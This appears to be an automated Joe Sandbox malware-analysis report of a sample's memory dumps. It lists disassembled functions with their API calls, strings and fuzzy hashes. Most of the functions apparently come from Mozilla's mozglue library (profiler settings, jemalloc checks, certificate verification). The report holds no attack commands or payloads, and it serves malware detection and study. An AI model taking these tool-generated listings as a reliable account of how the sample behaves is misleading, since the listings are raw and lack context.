Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6C5B5440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B54BE
__Init_thread_footer.LIBCMT ref: 6C5B54DB

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5B54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5B5516
GetCurrentThreadId.KERNEL32 ref: 6C5B556A
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5B5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5B5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5B55E6
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B5616

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetCurrentThreadId.KERNEL32 ref: 6C5B563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5B567C
free.MOZGLUE(?), ref: 6C5B56AE

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5B56E8
GetCurrentThreadId.KERNEL32 ref: 6C5B5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5B570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5B5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5B574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5B576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5B5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5B57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5B57CA

Strings

MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5B56E3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5B5749
GeckoMain, xrefs: 6C5B5554, 6C5B55D5
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5B5724
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B54A3
MOZ_BASE_PROFILER_HELP, xrefs: 6C5B5511
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5B5766
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5B5C56
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5B57C5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5B5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5B584E
[I %d/%d] profiler_init, xrefs: 6C5B564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5B5AC9
MOZ_PROFILER_STARTUP, xrefs: 6C5B55E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5B5791
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5B5717
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5B5D2B
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5B57AE
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5B5D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5B5B38
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5B5BBE
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B54B9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5B5CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5B5D24
Q^, xrefs: 6C5B57BC
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B548D

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Q^$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2639675677
Opcode ID: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction ID: b04d8da1ab57f41e6c74f865e98f57f7aeb7a2e9e97ec03ddeb5d4d242474f7d
Opcode Fuzzy Hash: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction Fuzzy Hash: 1C2258B0A047009FE7049F75CCA465ABBB4FF86348F844A29E846A7B41E739D845CF5B

Function 6C5B6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5B6D26

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5B6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5B6D73
free.MOZGLUE(00000000), ref: 6C5B6D80
CertGetNameStringW.CRYPT32 ref: 6C5B6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5B6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5B6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5B6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5B6E34
CreateFileW.KERNEL32 ref: 6C5B6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5B709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B7103
free.MOZGLUE(00000000), ref: 6C5B7153
CloseHandle.KERNEL32(?), ref: 6C5B7176
__Init_thread_footer.LIBCMT ref: 6C5B7209
__Init_thread_footer.LIBCMT ref: 6C5B723A
__Init_thread_footer.LIBCMT ref: 6C5B726B
__Init_thread_footer.LIBCMT ref: 6C5B729C
__Init_thread_footer.LIBCMT ref: 6C5B72DC
__Init_thread_footer.LIBCMT ref: 6C5B730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5B73C2
VerSetConditionMask.NTDLL ref: 6C5B73F3
VerSetConditionMask.NTDLL ref: 6C5B73FF
VerSetConditionMask.NTDLL ref: 6C5B7406
VerSetConditionMask.NTDLL ref: 6C5B740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5B741A
moz_xmalloc.MOZGLUE(?), ref: 6C5B755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5B7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5B7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5B7598
free.MOZGLUE(00000000), ref: 6C5B75AC

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

wintrust.dll, xrefs: 6C5B72CD
SHA256, xrefs: 6C5B6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C5B72C8
(, xrefs: 6C5B768A

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction ID: 5cee9659d234a717aa3a9afd9e7d910aa488b0cbc3a0cfb4499815407a786f80
Opcode Fuzzy Hash: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction Fuzzy Hash: 1652F871A003149FEB21DF25CC94BAABBB8EF85704F104599E909A7640DB38AF85CF65

Function 6C5E0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5E0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5E0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5E1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5E10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5E117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5E1C39
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5E3391
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5E33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5E3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5E37D2
Compile-time page size does not divide the runtime one., xrefs: 6C5E3946
MOZ_CRASH(), xrefs: 6C5E3950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5E3793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E3559, 6C5E382D, 6C5E3848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5E3A02
MALLOC_OPTIONS, xrefs: 6C5E35FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5E37A8
<jemalloc>, xrefs: 6C5E3941, 6C5E39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5E37BD

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction ID: 5f342d523127de6c28f03d1c147bdb87026a286910bcf43042b90002f6730f0d
Opcode Fuzzy Hash: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction Fuzzy Hash: 10538F71A057028FD304CF29C940616FBE1FF89328F29C66DE8A99B7A5D775E841CB81

Function 6C6034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EE2

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6061DD
Part of subcall function 6C606180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C60622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604157

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C606250
Part of subcall function 6C606180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C60484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604896
free.MOZGLUE ref: 6C60489F

Strings

, xrefs: 6C604CD2

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction ID: 514d5fe999441bd1159f5f7daad6de1aa1c71b464e0b6611e837ccad0285a7c9
Opcode Fuzzy Hash: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction Fuzzy Hash: 1DF24C74908780CFC735CF29C18469AFBF1BF9A304F118A5ED989A7711DB719886CB46

Function 6C5B64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5B64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5B64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5B6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5B6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B671C
GetCurrentProcess.KERNEL32 ref: 6C5B6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B672F
GetCurrentProcess.KERNEL32 ref: 6C5B6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5B6A80
GetSystemInfo.KERNEL32(?), ref: 6C5B6ABE
__Init_thread_footer.LIBCMT ref: 6C5B6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AF7

Strings

detoured.dll, xrefs: 6C5B64DA
user32.dll, xrefs: 6C5B6526
nvdxgiwrap.dll, xrefs: 6C5B6513
_etoured.dll, xrefs: 6C5B64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5B6798
nvd3d9wrap.dll, xrefs: 6C5B6500

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction ID: 3dcb60dd157ef0e3dbc2a2d1f6c18e361f17a726a44e9985278faabe34b19c1f
Opcode Fuzzy Hash: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction Fuzzy Hash: B2F10370901319DFDB24CF25CD98B9ABBB4EF46308F1442A9D809B3681DB31AE85CF95

Function 6C60C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C60C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E472

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c7d1c6d4816fe76778441dcd124f1e2505c097f0f07b9a79c0e974577a1b578
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8F33CD71E0021A8FCB08CFA8C9806EDBBF2FF49314F288269D955BB755D730A945CB94

Function 6C5CED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5CEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5CEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5D1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5D1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5D1A3E

Strings

~qZl, xrefs: 6C5CED13
~qZl, xrefs: 6C5CED10

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
